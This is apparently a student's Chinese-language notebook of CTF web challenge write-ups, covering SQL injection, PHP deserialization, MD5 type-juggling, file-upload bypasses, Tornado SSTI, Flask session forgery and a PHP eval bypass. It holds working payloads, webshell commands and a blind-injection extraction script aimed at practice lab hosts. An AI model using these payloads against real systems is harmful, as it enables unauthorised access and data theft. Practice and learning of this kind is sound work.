[极客大挑战 2019]EasySQL1
单引号围的
SQL的语法格式规定–和后面的注释内容必须间隔一个空格
在SQL注入中,“–+”可用于注释是因为在SQL语法里,“– ”(后面有空格)是标准的单行注释起始标识,“+”在这里可能是为了绕过某些过滤机制。当数据库执行SQL语句时,遇到“– ”就会忽略后面的内容,攻击者利用这个特性,通过构造包含“–+”的恶意语句,使后面的查询逻辑被注释掉,从而达到改变查询原意、获取非法数据等目的。
所以一定要有空格啊(
[强网杯 2019]随便注1
https://www.mysqlzh.com/doc/126/253.html
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;#
这道题我好像被剧透了(,本来想打开小本本翻一翻堆叠(因为我越看越熟悉,好像要用这个),结果发现堆叠就是从这道题抄的(
1';handler `1919810931114514` open as`ddl`;
handler `ddl` read next;--
一样
[极客大挑战 2019]HardSQL1
先放个字典
https://www.cnblogs.com/CVE-Lemon/p/16187971.html
/**/,%20,=都被过滤了,但like没被过滤换=;and也被搞了,用or(burp可见,反正过滤了一堆,就不放图了
limit没被过滤,说明是空格被过滤了
查一个新的
%A0不可
()可,尝试了下可为1'or(1)like(1)#
,万能密码成功后发现只有这个,用报错注入
我用我的那个报错注入的方法发现一直不对,然后发现是rand被过滤了。好好好,三种方法选了一种就正好被过滤了
那就换个
[https://www.cnblogs.com/csyxf/p/10241456.html](https://)extractvalue无事,遂用
这里我发现直接用hackbar传不对,然后在登录界面重新尝试了一下,并观察上方网址,发现需要用URL编码后再execute(可能是因为过滤的太多了吧,太屑了1'or(extractvalue(0x7e,concat(0x7e,(select(database())))))#
1'or(extractvalue(0x7e,concat(0x7e(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')))))#
1'or(extractvalue(0x7e,concat(0x7e(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#
1'or(extractvalue(0x7e,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))#
然后发现substr被过滤了(悲
遂再找(
https://www.wanfa688.com/html/Products/478771.html
试了一下left和right都挺安全的1'or(extractvalue(0x7e,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),31))))#
拼一下flag{589e7b10-f37f-4255-84d3-a323ae257d5b}
话说sqlmap能不能再多出一些脚本什么的,不够用哇等我复习完cpp一定高产似那啥咕咕咕咕
[ACTF2020 新生赛]Upload1
随机挑选一个幸运儿(五毒俱全
[GXYCTF2019]BabyUpload1
总之试了试好像普通png,gif,.htaccess都不可,普通的jpg可
然后点进了题目下的链接((辣么大个链接总之就是直接点进去了
http://9fd24382-f481-438e-a0be-28adc1a81bac.node5.buuoj.cn:81那就按它的要求来吧
还有要注意访问的路径是从upload后开始
suprise egg
总之是被警告了被攻击了,buu你有什么头绪吗
好好好终于把第二周的要求内容肝完了,这回真的要咕咕咕咕咕咕咕了绝对不是因为什么最近沉迷看cs2比赛
话说这个Hashcoin有什么用么,集齐100个是不是能召唤神龙
[极客大挑战 2019]BabySQL1
绕过,似曾相识的方法?username=1&password=1' uunionnion sselectelect 1,2,3--+
我赌1包辣条information绝对是被from牵连的!!!(震怒)?username=1&password=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()--+
经典二选一,geekuser大失败(悲)唉,2077世界
[极客大挑战 2019]PHP1
https://www.runoob.com/php/php-unserialize-function.html
https://www.runoob.com/php/php-serialize-function.html
https://twle.cn/c/yufei/phpmmethod/phpmmethod-basic-wakeup.html
《?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}#会给username再赋值
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?》
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?select=
《?php
class Name
{
private $username = 'admin';
private $password = 100;
}
$a=new Name;
echo serialize($a);
O:4:”Name”:2:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;i:100;}
在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行__destruct
O:4:”Name”:3:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;i:100;}
但还是说no,hacker(破音)
%00是对象序列化后不可见字符对应的url编码,如果直接将序列化结果复制浏览器中,因为字符不可见所以会变成空格,所以我们要手动加上这个%00
好吧终于知道图中不明字符了
?select=O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}
[ACTF2020 新生赛]BackupFile1
https://www.runoob.com/php/php-is_numeric-function.html
https://www.runoob.com/php/php-intval-function.html
《?php
include_once "flag.php";
if(isset($_GET['key']))
{
$key = $_GET['key'];
if(!is_numeric($key)) #is_numeric() 函数用于检测变量是否为数字或数字字符串。
{
exit("Just num!");
}
$key = intval($key);#intval() 函数用于获取变量的整数值。
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
在PHP中:
== 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行==比较时。则b只会截取前面的整数部分。即b转化成123。?key=123
[BJDCTF2020]Easy MD51
不是源代码的copy者,只是源代码的搬运工。。。
https://www.runoob.com/php/func-filesystem-file-get-contents.html
https://www.iteye.com/blog/jun1986-1176909
《?php
header('hint:select * from \'admin\' where password='.'md5($pass,true)');
?>
《?php
error_reporting(0);
$password = $_GET['password'];
if($password == 'ffifdyop')#看见==,似乎知道要考弱类型。。。
{
echo "<script>window.location.replace('./levels91.php')</script>";#window.location.replace(“url”):将地址替换成新url,该方法通过指定URL替换当前缓存在历史里(客户端)的项目,
}
?>
《?php
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b))#看见==,似乎知道要考弱类型。。。
{
echo "<script>window.location.replace('./levell14.php')</script>";
}
?>
唉,爆了爆了,=》glzjinhttps://github.com/glzjin
《?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
此时我才意识到不该看源代码的,相当于看wp了,我又又又又忘了(哭好吧就当我什么也没看到(
burp找到的
https://www.w3school.com.cn/php/func_string_md5.asp
md5=》为’ ‘ or 1(true)即可通过
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。
要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。
布尔值:布尔值 false 本身为假。
整数:值为 0 的整数被视为 false ,例如 0 、 0.0 (因为在比较时 0.0 会被转换为整数 0 )。
空字符串: “” (双引号)或者 ‘’ (单引号)空字符串为假。
空数组: array() 或者 [] 表示的空数组被判定为 false 。
特殊类型值: null 和 undefined (在PHP严格模式下没有真正的 undefined ,不过在一些比较宽松的情况下可以类似理解)被判定为 false 。
未初始化的变量:在一些情况下,未初始化的变量如果在条件判断中使用,会发出警告并且被视为 false 。
其他情况一般都被判定为 true
只要’or’后面的字符串为一个非零的数字开头都会返回True
偷的脚本
《?php
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)#stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)找一下or哈
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?>
找到一个
但从源代码if($password == 'ffifdyop')
来看已经定死了ffifdyop(唉,定制估计出题人想的是特例秒了没想到会有憨憨真的一个一个找
这是”ffifdyop”md5后
然后考md5碰撞
https://blog.csdn.net/qq_64201116/article/details/126493091(唉已经有前人栽树了
字符串之间进行比较,想要绕过这个弱比较只能用0e的方式。在PHP中”0e”判断为科学计数法,0e123就是0的10123次方,不难推出:0e123456789==0e1 // 因为0的任意次方都为0。在0e后面不能含有字母!!!否则判断为False
随便选几个就行了
?
a=MMHUWUV&
b=MAUXXQC
md5_1[]=1&md5_2[]=2
因为PHP对无法md5加密的东西不加密,结果为NULL,虽然会报错,但是null=null,逻辑关系为True。所以可以输出flag
唉自己搞的hackbar的插件真是不好用,好几次post都不行,最后用的burpsuit。大家还是用火狐的hackbar吧
[MRCTF2020]你传你🐎呢1
开幕鬼图。。。
用repeater试了一下,猜测可能是尾部不能有php。且Content-Type需为png/jpeg。。。
Q:用asp,但好像试了一下不行。
猜测是asp没被解析(是吗?
然后用了.htaccess,改一下Content-Type访问即可。
还有就是不要访问/var/www/html/upload/f46c7557e25c244fb27f31414303dcf9/pass.png 而是upload/f46c7557e25c244fb27f31414303dcf9/pass.png。
[ZJCTF 2019]NiZhuanSiWei1
https://www.runoob.com/php/php-preg_match.html
《?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){#需要一个txt文件
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){#查找是否有"flag"
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
?text=file://D:\Desktop\ctf\ctf\buuctf\welcome to the zjctf.txt
不行
https://www.cnblogs.com/zzjdbk/p/13030717.html
https://www.php.net/manual/zh/wrappers.data.php?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
看不见的useless.php究竟是何方神圣。。。&file=php://filter/read=convert.base64-encode/resource=useless.php
《?php
class Flag{ //flag.php
public $file;
public function __tostring(){ #__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
https://www.php.net/manual/zh/language.oop5.magic.php#object.tostring
在 PHP 编程中,是不能用echo语句直接输出一个对象的,也不能用字符串连接符 (.) 拼接一个对象
要想输出的话,就要把实体对象转换成字符串,这也正是__tostring函数的意义所在。
$password=new Flag;
echo $password;
但显示“must return a string value in”
想到password会unserialize一次,serialize后正是字符串,toString() 方法用于一个类被当成字符串时应怎样回应(好巧
《?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){ #__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag;
$password=serialize($password);
echo $password;
?>
怎么连起来呢?用include($file)
,将useless.php用起来。。。?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
oh u find it,在源代码里。
小趣事剧场
第一次忘给加flag.php引号了,然后得到flagphp?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}
于是:U R SO CLOSE !///COME ON PLZ
很好,看到这个时人都不好了
[护网杯 2018]easy_tornado1
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
标题是龙卷风
https://www.osgeo.cn/tornado/template.html
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 RequestHandler.render(template_name: str, **kwargs: Any)→ Future[None][源代码]¶ 以给定参数作为响应呈现模板。 ender是python的一个渲染函数,他们的url都是由filename和filehash组成,filehash即为他们filename的md5值。 Tornado模板支持 控制语句 和 表达 . 控制语句被包围 {{% 和 %}} ,例如 {{% if len(items) > 2 %}} . 表达式被包围 {{{{ 和 }}}} ,例如 {{{{ items[0] }}}} .
。。。不是,这给我干哪儿了
https://www.cnblogs.com/-chenxs/p/11971164.html
。。。好吧,XXS士别三日当刮目相看(
https://blog.csdn.net/miuzzx/article/details/123329244唉龙卷风的实力
https://www.cnblogs.com/bmjoker/p/13508538.html感情现在才知道是考SSTI(好吧我是第一次听这个东西
https://www.cnblogs.com/cimuhuashuimu/p/11544455.html
找到了~
不是,想看看龙卷风的SSTI结果发现龙卷风的唯一例子就是从这道题取得啊(小众宝藏模板实锤了
在这里改一下filehash后得到error界面
上方链接说得就不赘述了error?msg={{handler.settings}}
AI真是智能,浅浅让它改改语法漏洞百出的python脚本(dbq我会努力的
import hashlib
filename = '/fllllllllllllag'
cookie_secret = 'fb5a8768-2485-4575-a5c6-f336fae93f01'
# 将文件名编码为字节类型
filename_bytes = filename.encode('utf-8')
mid = hashlib.md5(filename_bytes)
# 获取十六进制哈希值
mid_hex = mid.hexdigest()
result = cookie_secret + mid_hex
# 对拼接后的结果计算MD5哈希值
final_hash = hashlib.md5(result.encode('utf-8'))
print(final_hash.hexdigest())
其实这次payload在原url上改挺方便的。。。?filename=/fllllllllllllag&filehash=b52ee6e6b21e8ce79913379fd4aeb5e2
[MRCTF2020]Ez_bypass1
怎么这么多md5…
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
?gg[]=1&id[]=2
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))#如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
passwd=1234567ab
[SUCTF 2019]CheckIn1
https://www.freebuf.com/articles/web/287193.html
先试了试,上传木马到是正常方法绕过即可(%00也试过却不可),但发现上传 .htaccess 想加GIF89a,但又不能加。。。
.htaccess的配置文件只能在Apache服务器中起作用(哭
能够利用.user.ini的条件:
服务器脚本语言为PHP 服务器使用CGI
FastCGI模式
上传目录下要有可执行的php文件auto_prepend_file = <filename> //包含在文件头 auto_append_file = <filename> //包含在文件尾
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
GIF89a
auto_prepend_file=pass.gif
先上传pass.gif再上传.user.ini
访问/uploads/5e6f2693d111128ec4f1d7336f65b87f/index.php
.user.ini中auto_prepend_file=pass.gif会在执行index.php前把pass包含进来,且解析为php格式
ps:user.ini里有个user_ini.cache_ttl ,它控制着重新读取用户 ini文件的时间,可能时间一到刷新掉了,这时要重新上传.user.ini。
?pass=system("ls /"); 或?pass=var_dump(scandir("/")); // 扫描当前目录下的文件,并打印出来
?pass=system("cat /flag"); 或?pass=var_dump(file_get_contents("/flag"));
[GXYCTF2019]BabySQli
一开始试了试username是admin没想到蒙对了(
在burp中找到了这个(这是啥<--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
先base32再base64得到select * from user where username = '$name'
好吧谢谢但我已经蒙出username了
用字典intrude了一下发现or,=,(,)都被过滤了。使用大小写绕过or,使用like绕过=
https://blog.csdn.net/weixin_40950781/article/details/100061268
SELECT 1,2,3 是一个简单的查询语句,它会返回一行包含三个列的数据,这三个列的值分别为 1 、 2 和 3 。 SELECT 关键字用于指定要从数据库中检索的数据。在这种情况下,我们没有从任何表中获取数据,而是直接指定了要返回的具体值。1' union select 1,2,3#
有三个字段
搞password用select * fRom user where username like 'admin'
还是错的(哭偷看源码发现用了md5(我:啊????
https://github.com/imagin-sch/GXY_CTF/blob/master/Web/BabySqli/dockerfile/files/html/search.php
https://www.runoob.com/php/func-mysqli-fetch-row.html
https://www.runoob.com/php/func-mysqli-query.html
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);#mysqli_query() 函数执行某个针对数据库的查询。
$arr = mysqli_fetch_row($result);#从**数据库**结果集中获取一行数据的函数。它返回一个枚举数组,其中每个结果**列**存储在从0开始的数组偏移量中。
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
arr[0],[1],[2]分别对应union select 1,2,3#
arr[1]是admin,[2]是password=>union select 1,’admin’,password#
现在要求arr[2]即union select的3(password)md5后与password相等即可
username:7' union select 1,'admin','8f14e45fceea167a5a36dedd4bea2543'# (这里第一个不能是admin,不然会直接跳转到wrong pass
password:7(7是我的幸运数字^_^
[GYCTF2020]Blacklist
扔进burp 过一下字典(结果直接爆出来了(啊?1' or 1=1#
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
1';show database();#
1';show tables;#
1'; show columns from FlagHere;#
1';handler FlagHere open as
ddl;handler
ddl read next;#
得到flag?????那我请问这道题跟[强网杯 2019]随便注有啥区别呢(多给个114514试图迷惑(即答
[CISCN2019 华北赛区 Day2 Web1]Hack World
1
=>Hello, glzjin wants a girlfriend.
开幕雷击(实在不行咱放弃吧哥2
=>Do you want to be my girlfriend?
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
除1,2之外的都挂了(
页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。
输入1+空格返SQL Injection Checked.(又欺负空格
if(ascii(substr((select flag from flag),1,1))>1,1,2)
if(ascii(substr((select(flag)from(flag)),1,1))>1,1,2)
或(ascii(substr((select(flag)from(flag)),1,1))>1)
if() 函数一般接受三个参数,第一个参数是条件判断,后面两个参数分别是条件为真和为假时返回的值。
下面那个则是单纯1,0判断。
https://blog.csdn.net/python1639er/article/details/112325519
https://www.begtut.com/python/ref-requests-post.html
> # 用布尔盲注得出flag:二分法,做ascii循坏i,当返回为1时取此时的ascii(i)再转换为字符(ascii(substr((select(flag)from(flag)),j,1))>i)(0<=i<=127,0<=j<50)
> import requests
>
> # requests 模块用于发送 HTTP 请求,这里主要用于向目标网站发送 POST 请求。
> url = "http://7cd8bda1-df2d-4a3d-af9f-66850cce8b1c.node5.buuoj.cn:81/index.php"
> result = ""
> for i in range(1, 50):#~~第一次设的30然后还没输出完就结束了~~
> for j in range(1, 128):
> payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})" # {m} 和 {n} 是占位符,会被 i 和 j 的值替换。
> response = requests.post(url=url, data={'id': payload.format(m=i,n=j)}) # 使用 requests.post 方法向目标 URL 发送 POST 请求,请求的参数是 id ,其值为构造的 SQL 注入 payload。
> # requests.post(url, data={key: value}, json={key: value}, args)
> if response.text.find('girlfriend') == -1: # 检查响应文本中是否包含字符串 girlfrined(疯狂迫害
> result = result + chr(j)#将对应的字符 chr(j) 添加到 result 中,在 Python 中, + 运算符用于字符串时,它的作用是将两个字符串连接起来,生成一个新的字符串。
> break#跳内层循环
> print(result)#看进度
> print(result)
运行得好慢~
f
fl
fla
flag
flag{
flag{2
flag{27
flag{274
flag{2744
flag{2744d
flag{2744d1
flag{2744d15
flag{2744d15f
flag{2744d15f-
flag{2744d15f-2
flag{2744d15f-2a
flag{2744d15f-2a4
flag{2744d15f-2a4a
flag{2744d15f-2a4a-
flag{2744d15f-2a4a-4
flag{2744d15f-2a4a-45
flag{2744d15f-2a4a-459
flag{2744d15f-2a4a-4599
flag{2744d15f-2a4a-4599-
flag{2744d15f-2a4a-4599-b
flag{2744d15f-2a4a-4599-b9
flag{2744d15f-2a4a-4599-b90
flag{2744d15f-2a4a-4599-b90e
flag{2744d15f-2a4a-4599-b90e-
flag{2744d15f-2a4a-4599-b90e-f
flag{2744d15f-2a4a-4599-b90e-fc
flag{2744d15f-2a4a-4599-b90e-fce
flag{2744d15f-2a4a-4599-b90e-fced
flag{2744d15f-2a4a-4599-b90e-fced2
flag{2744d15f-2a4a-4599-b90e-fced24
flag{2744d15f-2a4a-4599-b90e-fced242
flag{2744d15f-2a4a-4599-b90e-fced2422
flag{2744d15f-2a4a-4599-b90e-fced2422b
flag{2744d15f-2a4a-4599-b90e-fced2422bc
flag{2744d15f-2a4a-4599-b90e-fced2422bc2
flag{2744d15f-2a4a-4599-b90e-fced2422bc23
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
[HCTF 2018]admin
这界面好熟悉。。。。像极了“我的第一个flask“什么的(被打
然后发现404了(
但总之最后是偷来了
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
#看来大家都爱用名字作key呀(感慨ing
@app.route('/code')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 将验证码字符串储存在session中
session['image'] = code
return response
flask的session是存储在cookie中且仅签名而未加密
#先把session拿出来
.eJxF0MFuwjAMBuBXmXzmAC29IHEApetAiqNGKZVzQQxK06RhWgG1FPHuK0zazr_9_bLvsD02xdnA7NJcixFsqwPM7vD2CTPg1tQiTzvqpdVsU2smK7S11Yl0nMUR-o3Vam04yzpS0lGetqjeLVdlhEncUUA3bdNOqHRCPus1W0XYL26kspYrdxOKpsiWtUikFyztkJUt5tl0MBwpNMN8KNTSoEdDwbvT1kXIDjXlm0qzxWDKSrBVMOzO4TGC_bk5bi9frjj9n_Cs7vdjUnH4JNCWvbZZKHI0GGQ9T9aGPE11Hoc8SNuB9nwxf3GV35XFnySV_CjS3-S080MA39WphBFcz0XzehtMxvD4AYitbJY.Z6NK_Q.c9Wsxg_Bj6vn0mKgkPavhwsLBi8
https://github.com/noraj/flask-session-cookie-manager
git clone https://github.com/noraj/flask-session-cookie-manager
Decode
usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>
optional arguments:
-h, --help show this help message and exit
-s <string>, --secret-key <string>
Secret key
-c <string>, --cookie-value <string>
Session cookie value
python3 flask_session_cookie_manager3.py decode -s 'ckj123' -c '.eJxF0MFuwjAMBuBXmXzmAC29IHEApetAiqNGKZVzQQxK06RhWgG1FPHuK0zazr_9_bLvsD02xdnA7NJcixFsqwPM7vD2CTPg1tQiTzvqpdVsU2smK7S11Yl0nMUR-o3Vam04yzpS0lGetqjeLVdlhEncUUA3bdNOqHRCPus1W0XYL26kspYrdxOKpsiWtUikFyztkJUt5tl0MBwpNMN8KNTSoEdDwbvT1kXIDjXlm0qzxWDKSrBVMOzO4TGC_bk5bi9frjj9n_Cs7vdjUnH4JNCWvbZZKHI0GGQ9T9aGPE11Hoc8SNuB9nwxf3GV35XFnySV_CjS3-S080MA39WphBFcz0XzehtMxvD4AYitbJY.Z6NK_Q.c9Wsxg_Bj6vn0mKgkPavhwsLBi8'
{'_fresh': True, '_id': b'28e9d1c4cd5ed4b69cddd0196ece2a051a4dad051c1894a1cf2f41945be3d29702a5019296840e8df8414805e851da3ad2790a6cacadf9947eaebd05bdb82684', 'csrf_token': b'145c74a17cad683f579ca7e30babf8ea73d0aef0', 'image': b'E4Gy', 'name': 'qing', 'user_id': '10'}
encode
usage: flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>
optional arguments:
-h, --help show this help message and exit
-s <string>, --secret-key <string>
Secret key
-t <string>, --cookie-structure <string>
Session cookie structure
python3 flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'28e9d1c4cd5ed4b69cddd0196ece2a051a4dad051c1894a1cf2f41945be3d29702a5019296840e8df8414805e851da3ad2790a6cacadf9947eaebd05bdb82684', 'csrf_token': b'145c74a17cad683f579ca7e30babf8ea73d0aef0', 'image': b'E4Gy', 'name': 'admin', 'user_id': '10'}"
.eJxF0MGOgjAQBuBX2czZg4JcTDxoiqwmnYamSKYX4ypSWuomqAExvvuim-ye_5nvz8wDdqemuBiYXZtbMYJddYTZAz6-YAbcmlrkaUe9tJpta81khba2OpGOszhCv7VabQxnWUdKOsrTFtXKclVGmMQdBXTXNu2ESifks16zdYT94k4qa7lyd6FoimxZi0R6wdIOWdlink0Hw5FCM8yHQi0NejQUrJy2LkJ2rCnfVpotBlNWgq2DYXcOzxEcLs1pd_12xfn_hFd1fxiTisMXgbbstc1CkaPBIOt5sjHkaarzOORB2g6054v5m6v8viz-JKnkZ5H-Jue9HwLYH311hhHcLkXz_htMxvD8AfZvbPA.Z6NLTQ.2ijxBi8WejFl8Z7IUnLCtcYZRT4
flag{ed0fcbdf-7439-497d-ba5b-9970b44bbf86}
name = strlower(session['name'])
def strlower(username):
username = nodeprep.prepare(username)#nodeprep.prepare存在漏洞,且login的时候又strlower一次
return username
先注册:ᴬᴰᴹᴵᴺ,再改密码,再用ADMIN登录
在注册的时候 ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“
[RoarCTF 2019]Easy Calc
在默认情况下,正则表达式中的锚点
^
和$
分别匹配整个字符串的开头和结尾。而当使用/m
修饰符开启多行模式后,^
和$
的匹配规则会发生变化:
^
可以匹配每行的开头(换行符\n
之后的位置)。$
可以匹配每行的结尾(换行符\n
之前的位置)。
$('#calc').submit(function(){
# $('#calc'):使用 jQuery 选择器选中 id 为 calc 的表单元素。
#.submit():为选中的表单元素绑定提交事件处理函数。当表单被提交时,会执行该函数内的代码。
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
#return false;:阻止表单的默认提交行为,即阻止页面刷新并跳转到表单的 action 属性指定的 URL。
})
《?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];#将num值赋给变量 $str
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');#eval,危险.(很贴心地给了分号?不用加了
}
?>
试了试输入只能输数字和其他一些字符。。。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除前后的空白符(空格符,制表符,换行符等统称为空白符) 2.将某些字符转换为下划线(包括空格) (1) 空白字符 空白字符包括空格()、制表符(\t)、换行符(\n)、回车符(\r)等。 (2)标点符号和特殊符号 像常见的标点符号(如逗号 ,、句号 .、问号 ?、感叹号 ! 等)以及其他特殊符号(如 @、#、$、%、^、&、*、(、)、-、+、=、[、]、{、}、|、\、/ 等)都会被转换。 (3)控制字符 例如 ASCII 码值在 0 - 31 之间的字符(如空字符 \0、换页符 \f 等)也会被转换。
所以用空白字符可以偷梁换柱,绕过waf(%20num)却还是传一样的参数(num)。。。好阴险(
试了试?%20num=1;phpinfo()
可,但其他空白符就没那么幸运了(
用system发现不行(啊?
好好好
“ /被ban了(
说来也巧,刚在必做的rce中碰到var_dump(scandir(chr(47)));读取根目录
(黑幕
var_dump()函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。
为啥这里头不用加双引号?
chr(47)` 本身就会返回一个字符串 `"/"
char还有这妙用(
?%20num=1;var_dump(scandir(chr(47)))
string(5) "f1agg"
通过
.
运算符把这些由chr()
函数生成的字符连接起来
想绕过\必须用chr(),->”/flagg”,cat啥的用不了了,得用个带括号的
掏出小本本(
file_get_contents、highlight_file() ,show_source()
?%20num=1;var_dump(show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
是在/flagg下,第一次忘加chr(47)了
[极客大挑战 2019]Http
看见蓝色氛围
href="Secret.php">
It doesn't come from 'https://Sycsecret.buuoj.cn'
网站管理员可以通过分析
Referer
字段来了解用户是从哪些外部网站或者页面进入到自己网站的。该字段记录了当前请求是从哪个页面链接过来的,也就是请求的来源页面的 URL。
好吧,加上(
Please use "Syclover" browser
User-Agent
是客户端(如浏览器、移动应用等)在向服务器发送 HTTP 请求时,附带在请求头中的一个字符串,用于标识客户端软件的类型、版本以及运行环境等信息。
好吧,再加上(
No!!! you can only read this locally!!!
(流汗黄豆
X-Forwarded-For在使用代理服务器的场景下,该字段用于记录客户端的真实 IP 地址。
[极客大挑战 2019]EasySQL1
单引号围的
SQL的语法格式规定–和后面的注释内容必须间隔一个空格
在SQL注入中,“–+”可用于注释是因为在SQL语法里,“– ”(后面有空格)是标准的单行注释起始标识,“+”在这里可能是为了绕过某些过滤机制。当数据库执行SQL语句时,遇到“– ”就会忽略后面的内容,攻击者利用这个特性,通过构造包含“–+”的恶意语句,使后面的查询逻辑被注释掉,从而达到改变查询原意、获取非法数据等目的。
所以一定要有空格啊(
[强网杯 2019]随便注1
https://www.mysqlzh.com/doc/126/253.html
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;#
